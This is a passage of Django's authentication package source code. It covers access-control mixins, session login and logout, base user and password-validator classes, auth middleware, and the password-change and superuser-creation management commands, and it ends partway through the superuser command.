class LoginRequiredMixin(AccessMixin):
    """
    CBV mixin which verifies that the current user is authenticated.
    """
    def dispatch(self, request, *args, **kwargs):
        if not request.user.is_authenticated:
            return self.handle_no_permission()
        return super(LoginRequiredMixin, self).dispatch(request, *args, **kwargs)


class PermissionRequiredMixin(AccessMixin):
    """
    CBV mixin which verifies that the current user has all specified
    permissions.
    """
    permission_required = None

    def get_permission_required(self):
        """
        Override this method to override the permission_required attribute.
        Must return an iterable.
        """
        if self.permission_required is None:
            raise ImproperlyConfigured(
                '{0} is missing the permission_required attribute. Define {0}.permission_required, or override '
                '{0}.get_permission_required().'.format(self.__class__.__name__)
            )
        if isinstance(self.permission_required, six.string_types):
            perms = (self.permission_required, )
        else:
            perms = self.permission_required
        return perms

    def has_permission(self):
        """
        Override this method to customize the way permissions are checked.
        """
        perms = self.get_permission_required()
        return self.request.user.has_perms(perms)

    def dispatch(self, request, *args, **kwargs):
        if not self.has_permission():
            return self.handle_no_permission()
        return super(PermissionRequiredMixin, self).dispatch(request, *args, **kwargs)


class UserPassesTestMixin(AccessMixin):
    """
    CBV Mixin that allows you to define a test function which must return True
    if the current user can access the view.
    """

    def test_func(self):
        raise NotImplementedError(
            '{0} is missing the implementation of the test_func() method.'.format(self.__class__.__name__)
        )

    def get_test_func(self):
        """
        Override this method to use a different test_func method.
        """
        return self.test_func

    def dispatch(self, request, *args, **kwargs):
        user_test_result = self.get_test_func()()
        if not user_test_result:
            return self.handle_no_permission()
        return super(UserPassesTestMixin, self).dispatch(request, *args, **kwargs)






import inspect
import re

from django.apps import apps as django_apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.middleware.csrf import rotate_token
from django.utils.crypto import constant_time_compare
from django.utils.module_loading import import_string
from django.utils.translation import LANGUAGE_SESSION_KEY

from .signals import user_logged_in, user_logged_out, user_login_failed

SESSION_KEY = '_auth_user_id'
BACKEND_SESSION_KEY = '_auth_user_backend'
HASH_SESSION_KEY = '_auth_user_hash'
REDIRECT_FIELD_NAME = 'next'


def load_backend(path):
    return import_string(path)()


def _get_backends(return_tuples=False):
    backends = []
    for backend_path in settings.AUTHENTICATION_BACKENDS:
        backend = load_backend(backend_path)
        backends.append((backend, backend_path) if return_tuples else backend)
    if not backends:
        raise ImproperlyConfigured(
            'No authentication backends have been defined. Does '
            'AUTHENTICATION_BACKENDS contain anything?'
        )
    return backends


def get_backends():
    return _get_backends(return_tuples=False)


def _clean_credentials(credentials):
    """
    Cleans a dictionary of credentials of potentially sensitive info before
    sending to less secure functions.

    Not comprehensive - intended for user_login_failed signal
    """
    SENSITIVE_CREDENTIALS = re.compile('api|token|key|secret|password|signature', re.I)
    CLEANSED_SUBSTITUTE = '********************'
    for key in credentials:
        if SENSITIVE_CREDENTIALS.search(key):
            credentials[key] = CLEANSED_SUBSTITUTE
    return credentials


def _get_user_session_key(request):
    # This value in the session is always serialized to a string, so we need
    # to convert it back to Python whenever we access it.
    return get_user_model()._meta.pk.to_python(request.session[SESSION_KEY])


def authenticate(**credentials):
    """
    If the given credentials are valid, return a User object.
    """
    for backend, backend_path in _get_backends(return_tuples=True):
        try:
            inspect.getcallargs(backend.authenticate, **credentials)
        except TypeError:
            # This backend doesn't accept these credentials as arguments. Try the next one.
            continue

        try:
            user = backend.authenticate(**credentials)
        except PermissionDenied:
            # This backend says to stop in our tracks - this user should not be allowed in at all.
            break
        if user is None:
            continue
        # Annotate the user object with the path of the backend.
        user.backend = backend_path
        return user

    # The credentials supplied are invalid to all backends, fire signal
    user_login_failed.send(sender=__name__, credentials=_clean_credentials(credentials))


def login(request, user, backend=None):
    """
    Persist a user id and a backend in the request. This way a user doesn't
    have to reauthenticate on every request. Note that data set during
    the anonymous session is retained when the user logs in.
    """
    session_auth_hash = ''
    if user is None:
        user = request.user
    if hasattr(user, 'get_session_auth_hash'):
        session_auth_hash = user.get_session_auth_hash()

    if SESSION_KEY in request.session:
        if _get_user_session_key(request) != user.pk or (
                session_auth_hash and
                not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)):
            # To avoid reusing another user's session, create a new, empty
            # session if the existing session corresponds to a different
            # authenticated user.
            request.session.flush()
    else:
        request.session.cycle_key()

    try:
        backend = backend or user.backend
    except AttributeError:
        backends = _get_backends(return_tuples=True)
        if len(backends) == 1:
            _, backend = backends[0]
        else:
            raise ValueError(
                'You have multiple authentication backends configured and '
                'therefore must provide the `backend` argument or set the '
                '`backend` attribute on the user.'
            )

    request.session[SESSION_KEY] = user._meta.pk.value_to_string(user)
    request.session[BACKEND_SESSION_KEY] = backend
    request.session[HASH_SESSION_KEY] = session_auth_hash
    if hasattr(request, 'user'):
        request.user = user
    rotate_token(request)
    user_logged_in.send(sender=user.__class__, request=request, user=user)


def logout(request):
    """
    Removes the authenticated user's ID from the request and flushes their
    session data.
    """
    # Dispatch the signal before the user is logged out so the receivers have a
    # chance to find out *who* logged out.
    user = getattr(request, 'user', None)
    if hasattr(user, 'is_authenticated') and not user.is_authenticated:
        user = None
    user_logged_out.send(sender=user.__class__, request=request, user=user)

    # remember language choice saved to session
    language = request.session.get(LANGUAGE_SESSION_KEY)

    request.session.flush()

    if language is not None:
        request.session[LANGUAGE_SESSION_KEY] = language

    if hasattr(request, 'user'):
        from django.contrib.auth.models import AnonymousUser
        request.user = AnonymousUser()


def get_user_model():
    """
    Returns the User model that is active in this project.
    """
    try:
        return django_apps.get_model(settings.AUTH_USER_MODEL)
    except ValueError:
        raise ImproperlyConfigured("AUTH_USER_MODEL must be of the form 'app_label.model_name'")
    except LookupError:
        raise ImproperlyConfigured(
            "AUTH_USER_MODEL refers to model '%s' that has not been installed" % settings.AUTH_USER_MODEL
        )


def get_user(request):
    """
    Returns the user model instance associated with the given request session.
    If no user is retrieved an instance of `AnonymousUser` is returned.
    """
    from .models import AnonymousUser
    user = None
    try:
        user_id = _get_user_session_key(request)
        backend_path = request.session[BACKEND_SESSION_KEY]
    except KeyError:
        pass
    else:
        if backend_path in settings.AUTHENTICATION_BACKENDS:
            backend = load_backend(backend_path)
            user = backend.get_user(user_id)
            # Verify the session
            if hasattr(user, 'get_session_auth_hash'):
                session_hash = request.session.get(HASH_SESSION_KEY)
                session_hash_verified = session_hash and constant_time_compare(
                    session_hash,
                    user.get_session_auth_hash()
                )
                if not session_hash_verified:
                    request.session.flush()
                    user = None

    return user or AnonymousUser()


def get_permission_codename(action, opts):
    """
    Returns the codename of the permission for the specified action.
    """
    return '%s_%s' % (action, opts.model_name)


def update_session_auth_hash(request, user):
    """
    Updating a user's password logs out all sessions for the user.

    This function takes the current request and the updated user object from
    which the new session hash will be derived and updates the session hash
    appropriately to prevent a password change from logging out the session
    from which the password was changed.
    """
    request.session.cycle_key()
    if hasattr(user, 'get_session_auth_hash') and request.user == user:
        request.session[HASH_SESSION_KEY] = user.get_session_auth_hash()

default_app_config = 'django.contrib.auth.apps.AuthConfig'






"""
This module allows importing AbstractBaseUser even when django.contrib.auth is
not in INSTALLED_APPS.
"""
from __future__ import unicode_literals

import unicodedata

from django.contrib.auth import password_validation
from django.contrib.auth.hashers import (
    check_password, is_password_usable, make_password,
)
from django.db import models
from django.utils.crypto import get_random_string, salted_hmac
from django.utils.deprecation import CallableFalse, CallableTrue
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _


class BaseUserManager(models.Manager):

    @classmethod
    def normalize_email(cls, email):
        """
        Normalize the email address by lowercasing the domain part of it.
        """
        email = email or ''
        try:
            email_name, domain_part = email.strip().rsplit('@', 1)
        except ValueError:
            pass
        else:
            email = '@'.join([email_name, domain_part.lower()])
        return email

    def make_random_password(self, length=10,
                             allowed_chars='abcdefghjkmnpqrstuvwxyz'
                                           'ABCDEFGHJKLMNPQRSTUVWXYZ'
                                           '23456789'):
        """
        Generate a random password with the given length and given
        allowed_chars. The default value of allowed_chars does not have "I" or
        "O" or letters and digits that look similar -- just to avoid confusion.
        """
        return get_random_string(length, allowed_chars)

    def get_by_natural_key(self, username):
        return self.get(**{self.model.USERNAME_FIELD: username})


@python_2_unicode_compatible
class AbstractBaseUser(models.Model):
    password = models.CharField(_('password'), max_length=128)
    last_login = models.DateTimeField(_('last login'), blank=True, null=True)

    is_active = True

    REQUIRED_FIELDS = []

    class Meta:
        abstract = True

    def get_username(self):
        "Return the identifying username for this User"
        return getattr(self, self.USERNAME_FIELD)

    def __init__(self, *args, **kwargs):
        super(AbstractBaseUser, self).__init__(*args, **kwargs)
        # Stores the raw password if set_password() is called so that it can
        # be passed to password_changed() after the model is saved.
        self._password = None

    def __str__(self):
        return self.get_username()

    def clean(self):
        setattr(self, self.USERNAME_FIELD, self.normalize_username(self.get_username()))

    def save(self, *args, **kwargs):
        super(AbstractBaseUser, self).save(*args, **kwargs)
        if self._password is not None:
            password_validation.password_changed(self._password, self)
            self._password = None

    def natural_key(self):
        return (self.get_username(),)

    @property
    def is_anonymous(self):
        """
        Always return False. This is a way of comparing User objects to
        anonymous users.
        """
        return CallableFalse

    @property
    def is_authenticated(self):
        """
        Always return True. This is a way to tell if the user has been
        authenticated in templates.
        """
        return CallableTrue

    def set_password(self, raw_password):
        self.password = make_password(raw_password)
        self._password = raw_password

    def check_password(self, raw_password):
        """
        Return a boolean of whether the raw_password was correct. Handles
        hashing formats behind the scenes.
        """
        def setter(raw_password):
            self.set_password(raw_password)
            # Password hash upgrades shouldn't be considered password changes.
            self._password = None
            self.save(update_fields=["password"])
        return check_password(raw_password, self.password, setter)

    def set_unusable_password(self):
        # Set a value that will never be a valid hash
        self.password = make_password(None)

    def has_usable_password(self):
        return is_password_usable(self.password)

    def get_full_name(self):
        raise NotImplementedError('subclasses of AbstractBaseUser must provide a get_full_name() method')

    def get_short_name(self):
        raise NotImplementedError('subclasses of AbstractBaseUser must provide a get_short_name() method.')

    def get_session_auth_hash(self):
        """
        Return an HMAC of the password field.
        """
        key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
        return salted_hmac(key_salt, self.password).hexdigest()

    @classmethod
    def normalize_username(cls, username):
        return unicodedata.normalize('NFKC', force_text(username))






from __future__ import unicode_literals

import gzip
import os
import re
from difflib import SequenceMatcher

from django.conf import settings
from django.core.exceptions import (
    FieldDoesNotExist, ImproperlyConfigured, ValidationError,
)
from django.utils import lru_cache
from django.utils._os import upath
from django.utils.encoding import force_text
from django.utils.functional import lazy
from django.utils.html import format_html
from django.utils.module_loading import import_string
from django.utils.six import string_types, text_type
from django.utils.translation import ugettext as _, ungettext


@lru_cache.lru_cache(maxsize=None)
def get_default_password_validators():
    return get_password_validators(settings.AUTH_PASSWORD_VALIDATORS)


def get_password_validators(validator_config):
    validators = []
    for validator in validator_config:
        try:
            klass = import_string(validator['NAME'])
        except ImportError:
            msg = "The module in NAME could not be imported: %s. Check your AUTH_PASSWORD_VALIDATORS setting."
            raise ImproperlyConfigured(msg % validator['NAME'])
        validators.append(klass(**validator.get('OPTIONS', {})))

    return validators


def validate_password(password, user=None, password_validators=None):
    """
    Validate whether the password meets all validator requirements.

    If the password is valid, return ``None``.
    If the password is invalid, raise ValidationError with all error messages.
    """
    errors = []
    if password_validators is None:
        password_validators = get_default_password_validators()
    for validator in password_validators:
        try:
            validator.validate(password, user)
        except ValidationError as error:
            errors.append(error)
    if errors:
        raise ValidationError(errors)


def password_changed(password, user=None, password_validators=None):
    """
    Inform all validators that have implemented a password_changed() method
    that the password has been changed.
    """
    if password_validators is None:
        password_validators = get_default_password_validators()
    for validator in password_validators:
        password_changed = getattr(validator, 'password_changed', lambda *a: None)
        password_changed(password, user)


def password_validators_help_texts(password_validators=None):
    """
    Return a list of all help texts of all configured validators.
    """
    help_texts = []
    if password_validators is None:
        password_validators = get_default_password_validators()
    for validator in password_validators:
        help_texts.append(validator.get_help_text())
    return help_texts


def _password_validators_help_text_html(password_validators=None):
    """
    Return an HTML string with all help texts of all configured validators
    in an <ul>.
    """
    help_texts = password_validators_help_texts(password_validators)
    help_items = [format_html('<li>{}</li>', help_text) for help_text in help_texts]
    return '<ul>%s</ul>' % ''.join(help_items) if help_items else ''
password_validators_help_text_html = lazy(_password_validators_help_text_html, text_type)


class MinimumLengthValidator(object):
    """
    Validate whether the password is of a minimum length.
    """
    def __init__(self, min_length=8):
        self.min_length = min_length

    def validate(self, password, user=None):
        if len(password) < self.min_length:
            raise ValidationError(
                ungettext(
                    "This password is too short. It must contain at least %(min_length)d character.",
                    "This password is too short. It must contain at least %(min_length)d characters.",
                    self.min_length
                ),
                code='password_too_short',
                params={'min_length': self.min_length},
            )

    def get_help_text(self):
        return ungettext(
            "Your password must contain at least %(min_length)d character.",
            "Your password must contain at least %(min_length)d characters.",
            self.min_length
        ) % {'min_length': self.min_length}


class UserAttributeSimilarityValidator(object):
    """
    Validate whether the password is sufficiently different from the user's
    attributes.

    If no specific attributes are provided, look at a sensible list of
    defaults. Attributes that don't exist are ignored. Comparison is made to
    not only the full attribute value, but also its components, so that, for
    example, a password is validated against either part of an email address,
    as well as the full address.
    """
    DEFAULT_USER_ATTRIBUTES = ('username', 'first_name', 'last_name', 'email')

    def __init__(self, user_attributes=DEFAULT_USER_ATTRIBUTES, max_similarity=0.7):
        self.user_attributes = user_attributes
        self.max_similarity = max_similarity

    def validate(self, password, user=None):
        if not user:
            return

        for attribute_name in self.user_attributes:
            value = getattr(user, attribute_name, None)
            if not value or not isinstance(value, string_types):
                continue
            value_parts = re.split('\W+', value) + [value]
            for value_part in value_parts:
                if SequenceMatcher(a=password.lower(), b=value_part.lower()).quick_ratio() > self.max_similarity:
                    try:
                        verbose_name = force_text(user._meta.get_field(attribute_name).verbose_name)
                    except FieldDoesNotExist:
                        verbose_name = attribute_name
                    raise ValidationError(
                        _("The password is too similar to the %(verbose_name)s."),
                        code='password_too_similar',
                        params={'verbose_name': verbose_name},
                    )

    def get_help_text(self):
        return _("Your password can't be too similar to your other personal information.")


class CommonPasswordValidator(object):
    """
    Validate whether the password is a common password.

    The password is rejected if it occurs in a provided list, which may be gzipped.
    The list Django ships with contains 1000 common passwords, created by Mark Burnett:
    https://xato.net/passwords/more-top-worst-passwords/
    """
    DEFAULT_PASSWORD_LIST_PATH = os.path.join(
        os.path.dirname(os.path.realpath(upath(__file__))), 'common-passwords.txt.gz'
    )

    def __init__(self, password_list_path=DEFAULT_PASSWORD_LIST_PATH):
        try:
            with gzip.open(password_list_path) as f:
                common_passwords_lines = f.read().decode('utf-8').splitlines()
        except IOError:
            with open(password_list_path) as f:
                common_passwords_lines = f.readlines()

        self.passwords = {p.strip() for p in common_passwords_lines}

    def validate(self, password, user=None):
        if password.lower().strip() in self.passwords:
            raise ValidationError(
                _("This password is too common."),
                code='password_too_common',
            )

    def get_help_text(self):
        return _("Your password can't be a commonly used password.")


class NumericPasswordValidator(object):
    """
    Validate whether the password is alphanumeric.
    """
    def validate(self, password, user=None):
        if password.isdigit():
            raise ValidationError(
                _("This password is entirely numeric."),
                code='password_entirely_numeric',
            )

    def get_help_text(self):
        return _("Your password can't be entirely numeric.")






# PermWrapper and PermLookupDict proxy the permissions system into objects that
# the template system can understand.


class PermLookupDict(object):
    def __init__(self, user, app_label):
        self.user, self.app_label = user, app_label

    def __repr__(self):
        return str(self.user.get_all_permissions())

    def __getitem__(self, perm_name):
        return self.user.has_perm("%s.%s" % (self.app_label, perm_name))

    def __iter__(self):
        # To fix 'item in perms.someapp' and __getitem__ interaction we need to
        # define __iter__. See #18979 for details.
        raise TypeError("PermLookupDict is not iterable.")

    def __bool__(self):
        return self.user.has_module_perms(self.app_label)

    def __nonzero__(self):      # Python 2 compatibility
        return type(self).__bool__(self)


class PermWrapper(object):
    def __init__(self, user):
        self.user = user

    def __getitem__(self, app_label):
        return PermLookupDict(self.user, app_label)

    def __iter__(self):
        # I am large, I contain multitudes.
        raise TypeError("PermWrapper is not iterable.")

    def __contains__(self, perm_name):
        """
        Lookup by "someapp" or "someapp.someperm" in perms.
        """
        if '.' not in perm_name:
            # The name refers to module.
            return bool(self[perm_name])
        app_label, perm_name = perm_name.split('.', 1)
        return self[app_label][perm_name]


def auth(request):
    """
    Returns context variables required by apps that use Django's authentication
    system.

    If there is no 'user' attribute in the request, uses AnonymousUser (from
    django.contrib.auth).
    """
    if hasattr(request, 'user'):
        user = request.user
    else:
        from django.contrib.auth.models import AnonymousUser
        user = AnonymousUser()

    return {
        'user': user,
        'perms': PermWrapper(user),
    }






from django.conf import settings
from django.contrib import auth
from django.contrib.auth import load_backend
from django.contrib.auth.backends import RemoteUserBackend
from django.core.exceptions import ImproperlyConfigured
from django.utils.deprecation import MiddlewareMixin
from django.utils.functional import SimpleLazyObject


def get_user(request):
    if not hasattr(request, '_cached_user'):
        request._cached_user = auth.get_user(request)
    return request._cached_user


class AuthenticationMiddleware(MiddlewareMixin):
    def process_request(self, request):
        assert hasattr(request, 'session'), (
            "The Django authentication middleware requires session middleware "
            "to be installed. Edit your MIDDLEWARE%s setting to insert "
            "'django.contrib.sessions.middleware.SessionMiddleware' before "
            "'django.contrib.auth.middleware.AuthenticationMiddleware'."
        ) % ("_CLASSES" if settings.MIDDLEWARE is None else "")
        request.user = SimpleLazyObject(lambda: get_user(request))


class SessionAuthenticationMiddleware(MiddlewareMixin):
    """
    Formerly, a middleware for invalidating a user's sessions that don't
    correspond to the user's current session authentication hash. However, it
    caused the "Vary: Cookie" header on all responses.

    It's now a shim to allow a single settings file to more easily support
    multiple versions of Django. Will be RemovedInDjango20Warning.
    """
    def process_request(self, request):
        pass


class RemoteUserMiddleware(MiddlewareMixin):
    """
    Middleware for utilizing Web-server-provided authentication.

    If request.user is not authenticated, then this middleware attempts to
    authenticate the username passed in the ``REMOTE_USER`` request header.
    If authentication is successful, the user is automatically logged in to
    persist the user in the session.

    The header used is configurable and defaults to ``REMOTE_USER``.  Subclass
    this class and change the ``header`` attribute if you need to use a
    different header.
    """

    # Name of request header to grab username from.  This will be the key as
    # used in the request.META dictionary, i.e. the normalization of headers to
    # all uppercase and the addition of "HTTP_" prefix apply.
    header = "REMOTE_USER"
    force_logout_if_no_header = True

    def process_request(self, request):
        # AuthenticationMiddleware is required so that request.user exists.
        if not hasattr(request, 'user'):
            raise ImproperlyConfigured(
                "The Django remote user auth middleware requires the"
                " authentication middleware to be installed.  Edit your"
                " MIDDLEWARE setting to insert"
                " 'django.contrib.auth.middleware.AuthenticationMiddleware'"
                " before the RemoteUserMiddleware class.")
        try:
            username = request.META[self.header]
        except KeyError:
            # If specified header doesn't exist then remove any existing
            # authenticated remote-user, or return (leaving request.user set to
            # AnonymousUser by the AuthenticationMiddleware).
            if self.force_logout_if_no_header and request.user.is_authenticated:
                self._remove_invalid_user(request)
            return
        # If the user is already authenticated and that user is the user we are
        # getting passed in the headers, then the correct user is already
        # persisted in the session and we don't need to continue.
        if request.user.is_authenticated:
            if request.user.get_username() == self.clean_username(username, request):
                return
            else:
                # An authenticated user is associated with the request, but
                # it does not match the authorized user in the header.
                self._remove_invalid_user(request)

        # We are seeing this user for the first time in this session, attempt
        # to authenticate the user.
        user = auth.authenticate(remote_user=username)
        if user:
            # User is valid.  Set request.user and persist user in the session
            # by logging the user in.
            request.user = user
            auth.login(request, user)

    def clean_username(self, username, request):
        """
        Allows the backend to clean the username, if the backend defines a
        clean_username method.
        """
        backend_str = request.session[auth.BACKEND_SESSION_KEY]
        backend = auth.load_backend(backend_str)
        try:
            username = backend.clean_username(username)
        except AttributeError:  # Backend has no clean_username method.
            pass
        return username

    def _remove_invalid_user(self, request):
        """
        Removes the current authenticated user in the request which is invalid
        but only if the user is authenticated via the RemoteUserBackend.
        """
        try:
            stored_backend = load_backend(request.session.get(auth.BACKEND_SESSION_KEY, ''))
        except ImportError:
            # backend failed to load
            auth.logout(request)
        else:
            if isinstance(stored_backend, RemoteUserBackend):
                auth.logout(request)


class PersistentRemoteUserMiddleware(RemoteUserMiddleware):
    """
    Middleware for Web-server provided authentication on logon pages.

    Like RemoteUserMiddleware but keeps the user authenticated even if
    the header (``REMOTE_USER``) is not found in the request. Useful
    for setups when the external authentication via ``REMOTE_USER``
    is only expected to happen on some "logon" URL and the rest of
    the application wants to use Django's authentication mechanism.
    """
    force_logout_if_no_header = False












from django import db
from django.contrib import auth
from django.utils.encoding import force_bytes


def check_password(environ, username, password):
    """
    Authenticates against Django's auth database

    mod_wsgi docs specify None, True, False as return value depending
    on whether the user exists and authenticates.
    """

    UserModel = auth.get_user_model()
    # db connection state is managed similarly to the wsgi handler
    # as mod_wsgi may call these functions outside of a request/response cycle
    db.reset_queries()

    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return None
        if not user.is_active:
            return None
        return user.check_password(password)
    finally:
        db.close_old_connections()


def groups_for_user(environ, username):
    """
    Authorizes a user based on groups
    """

    UserModel = auth.get_user_model()
    db.reset_queries()

    try:
        try:
            user = UserModel._default_manager.get_by_natural_key(username)
        except UserModel.DoesNotExist:
            return []
        if not user.is_active:
            return []
        return [force_bytes(group.name) for group in user.groups.all()]
    finally:
        db.close_old_connections()






"""
Creates permissions for all installed apps that need permissions.
"""
from __future__ import unicode_literals

import getpass
import unicodedata

from django.apps import apps as global_apps
from django.contrib.auth import get_permission_codename
from django.core import exceptions
from django.db import DEFAULT_DB_ALIAS, router
from django.utils import six
from django.utils.encoding import DEFAULT_LOCALE_ENCODING


def _get_all_permissions(opts):
    """
    Returns (codename, name) for all permissions in the given opts.
    """
    builtin = _get_builtin_permissions(opts)
    custom = list(opts.permissions)
    return builtin + custom


def _get_builtin_permissions(opts):
    """
    Returns (codename, name) for all autogenerated permissions.
    By default, this is ('add', 'change', 'delete')
    """
    perms = []
    for action in opts.default_permissions:
        perms.append((
            get_permission_codename(action, opts),
            'Can %s %s' % (action, opts.verbose_name_raw)
        ))
    return perms


def create_permissions(app_config, verbosity=2, interactive=True, using=DEFAULT_DB_ALIAS, apps=global_apps, **kwargs):
    if not app_config.models_module:
        return

    app_label = app_config.label
    try:
        app_config = apps.get_app_config(app_label)
        ContentType = apps.get_model('contenttypes', 'ContentType')
        Permission = apps.get_model('auth', 'Permission')
    except LookupError:
        return

    if not router.allow_migrate_model(using, Permission):
        return

    # This will hold the permissions we're looking for as
    # (content_type, (codename, name))
    searched_perms = list()
    # The codenames and ctypes that should exist.
    ctypes = set()
    for klass in app_config.get_models():
        # Force looking up the content types in the current database
        # before creating foreign keys to them.
        ctype = ContentType.objects.db_manager(using).get_for_model(klass)

        ctypes.add(ctype)
        for perm in _get_all_permissions(klass._meta):
            searched_perms.append((ctype, perm))

    # Find all the Permissions that have a content_type for a model we're
    # looking for.  We don't need to check for codenames since we already have
    # a list of the ones we're going to create.
    all_perms = set(Permission.objects.using(using).filter(
        content_type__in=ctypes,
    ).values_list(
        "content_type", "codename"
    ))

    perms = [
        Permission(codename=codename, name=name, content_type=ct)
        for ct, (codename, name) in searched_perms
        if (ct.pk, codename) not in all_perms
    ]
    Permission.objects.using(using).bulk_create(perms)
    if verbosity >= 2:
        for perm in perms:
            print("Adding permission '%s'" % perm)


def get_system_username():
    """
    Try to determine the current system user's username.

    :returns: The username as a unicode string, or an empty string if the
        username could not be determined.
    """
    try:
        result = getpass.getuser()
    except (ImportError, KeyError):
        # KeyError will be raised by os.getpwuid() (called by getuser())
        # if there is no corresponding entry in the /etc/passwd file
        # (a very restricted chroot environment, for example).
        return ''
    if six.PY2:
        try:
            result = result.decode(DEFAULT_LOCALE_ENCODING)
        except UnicodeDecodeError:
            # UnicodeDecodeError - preventive treatment for non-latin Windows.
            return ''
    return result


def get_default_username(check_db=True):
    """
    Try to determine the current system user's username to use as a default.

    :param check_db: If ``True``, requires that the username does not match an
        existing ``auth.User`` (otherwise returns an empty string).
    :returns: The username, or an empty string if no username can be
        determined.
    """
    # This file is used in apps.py, it should not trigger models import.
    from django.contrib.auth import models as auth_app

    # If the User model has been swapped out, we can't make any assumptions
    # about the default user name.
    if auth_app.User._meta.swapped:
        return ''

    default_username = get_system_username()
    try:
        default_username = (
            unicodedata.normalize('NFKD', default_username)
            .encode('ascii', 'ignore').decode('ascii')
            .replace(' ', '').lower()
        )
    except UnicodeDecodeError:
        return ''

    # Run the username validator
    try:
        auth_app.User._meta.get_field('username').run_validators(default_username)
    except exceptions.ValidationError:
        return ''

    # Don't return the default username if it is already taken.
    if check_db and default_username:
        try:
            auth_app.User._default_manager.get(username=default_username)
        except auth_app.User.DoesNotExist:
            pass
        else:
            return ''
    return default_username






from __future__ import unicode_literals

import getpass

from django.contrib.auth import get_user_model
from django.contrib.auth.password_validation import validate_password
from django.core.exceptions import ValidationError
from django.core.management.base import BaseCommand, CommandError
from django.db import DEFAULT_DB_ALIAS
from django.utils.encoding import force_str


class Command(BaseCommand):
    help = "Change a user's password for django.contrib.auth."
    requires_migrations_checks = True
    requires_system_checks = False

    def _get_pass(self, prompt="Password: "):
        p = getpass.getpass(prompt=force_str(prompt))
        if not p:
            raise CommandError("aborted")
        return p

    def add_arguments(self, parser):
        parser.add_argument(
            'username', nargs='?',
            help='Username to change password for; by default, it\'s the current username.',
        )
        parser.add_argument(
            '--database', action='store', dest='database',
            default=DEFAULT_DB_ALIAS,
            help='Specifies the database to use. Default is "default".',
        )

    def handle(self, *args, **options):
        if options['username']:
            username = options['username']
        else:
            username = getpass.getuser()

        UserModel = get_user_model()

        try:
            u = UserModel._default_manager.using(options['database']).get(**{
                UserModel.USERNAME_FIELD: username
            })
        except UserModel.DoesNotExist:
            raise CommandError("user '%s' does not exist" % username)

        self.stdout.write("Changing password for user '%s'\n" % u)

        MAX_TRIES = 3
        count = 0
        p1, p2 = 1, 2  # To make them initially mismatch.
        password_validated = False
        while (p1 != p2 or not password_validated) and count < MAX_TRIES:
            p1 = self._get_pass()
            p2 = self._get_pass("Password (again): ")
            if p1 != p2:
                self.stdout.write("Passwords do not match. Please try again.\n")
                count += 1
                # Don't validate passwords that don't match.
                continue
            try:
                validate_password(p2, u)
            except ValidationError as err:
                self.stderr.write('\n'.join(err.messages))
                count += 1
            else:
                password_validated = True

        if count == MAX_TRIES:
            raise CommandError("Aborting password change for user '%s' after %s attempts" % (u, count))

        u.set_password(p1)
        u.save()

        return "Password changed successfully for user '%s'" % u












"""
Management utility to create superusers.
"""
from __future__ import unicode_literals

import getpass
import sys

from django.contrib.auth import get_user_model
from django.contrib.auth.management import get_default_username
from django.contrib.auth.password_validation import validate_password
from django.core import exceptions
from django.core.management.base import BaseCommand, CommandError
from django.db import DEFAULT_DB_ALIAS
from django.utils.encoding import force_str
from django.utils.six.moves import input
from django.utils.text import capfirst


class NotRunningInTTYException(Exception):
    pass


class Command(BaseCommand):
    help = 'Used to create a superuser.'
    requires_migrations_checks = True

    def __init__(self, *args, **kwargs):
        super(Command, self).__init__(*args, **kwargs)
        self.UserModel = get_user_model()
        self.username_field = self.UserModel._meta.get_field(self.UserModel.USERNAME_FIELD)

    def add_arguments(self, parser):
        parser.add_argument(
            '--%s' % self.UserModel.USERNAME_FIELD,
            dest=self.UserModel.USERNAME_FIELD, default=None,
            help='Specifies the login for the superuser.',
        )
        parser.add_argument(
            '--noinput', '--no-input',
            action='store_false', dest='interactive', default=True,
            help=(
                'Tells Django to NOT prompt the user for input of any kind. '
                'You must use --%s with --noinput, along with an option for '
                'any other required field. Superusers created with --noinput will '
                'not be able to log in until they\'re given a valid password.' %
                self.UserModel.USERNAME_FIELD
            ),
        )
        parser.add_argument(
            '--database', action='store', dest='database',
            default=DEFAULT_DB_ALIAS,
            help='Specifies the database to use. Default is "default".',
        )
        for field in self.UserModel.REQUIRED_FIELDS:
            parser.add_argument(
                '--%s' % field, dest=field, default=None,
                help='Specifies the %s for the superuser.' % field,
            )

    def execute(self, *args, **options):
        self.stdin = options.get('stdin', sys.stdin)  # Used for testing
        return super(Command, self).execute(*args, **options)

    def handle(self, *args, **options):
        username = options[self.UserModel.USERNAME_FIELD]
        database = options['database']

        # If not provided, create the user with an unusable password
        password = None
        user_data = {}
        # Same as user_data but with foreign keys as fake model instances
        # instead of raw IDs.
        fake_user_data = {}

        # Do quick and dirty validation if --noinput
        if not options['interactive']:
            try:
                if not username:
                    raise CommandError("You must use --%s with --noinput." % self.UserModel.USERNAME_FIELD)
                username = self.username_field.clean(username, None)

                for field_name in self.UserModel.REQUIRED_FIELDS:
                    if options[field_name]:
                        field = self.UserModel._meta.get_field(field_name)
                        user_data[field_name] = field.clean(options[field_name], None)
                    else:
                        raise CommandError("You must use --%s with --noinput." % field_name)
            except exceptions.ValidationError as e:
                raise CommandError('; '.join(e.messages))

        else:
            # Prompt for username/password, and any other required fields.
            # Enclose this whole thing in a try/except to catch
            # KeyboardInterrupt and exit gracefully.
            default_username = get_default_username()
            try:

                if hasattr(self.stdin, 'isatty') and not self.stdin.isatty():
                    raise NotRunningInTTYException("Not running in a TTY")

                # Get a username
                verbose_field_name = self.username_field.verbose_name
                while username is None:
                    input_msg = capfirst(verbose_field_name)
                    if default_username:
                        input_msg += " (leave blank to use '%s')" % default_username
                    username_rel = self.username_field.remote_field
                    input_msg = force_str('%s%s: ' % (
                        input_msg,
                        ' (%s.%s)' % (
                            username_rel.model._meta.object_name,
                            username_rel.field_name
                        ) if username_rel else '')
                    )
                    username = self.get_input_data(self.username_field, input_msg, default_username)
                    if not username:
                        continue
                    if self.username_field.unique:
                        try:
                            self.UserModel._default_manager.db_manager(database).get_by_natural_key(username)
                        except self.UserModel.DoesNotExist:
                            pass
                        else:
                            self.stderr.write("Error: That %s is already taken." % verbose_field_name)
                            username = None

                for field_name in self.UserModel.REQUIRED_FIELDS:
                    field = self.UserModel._meta.get_field(field_name)
                    user_data[field_name] = options[field_name]
                    while user_data[field_name] is None:
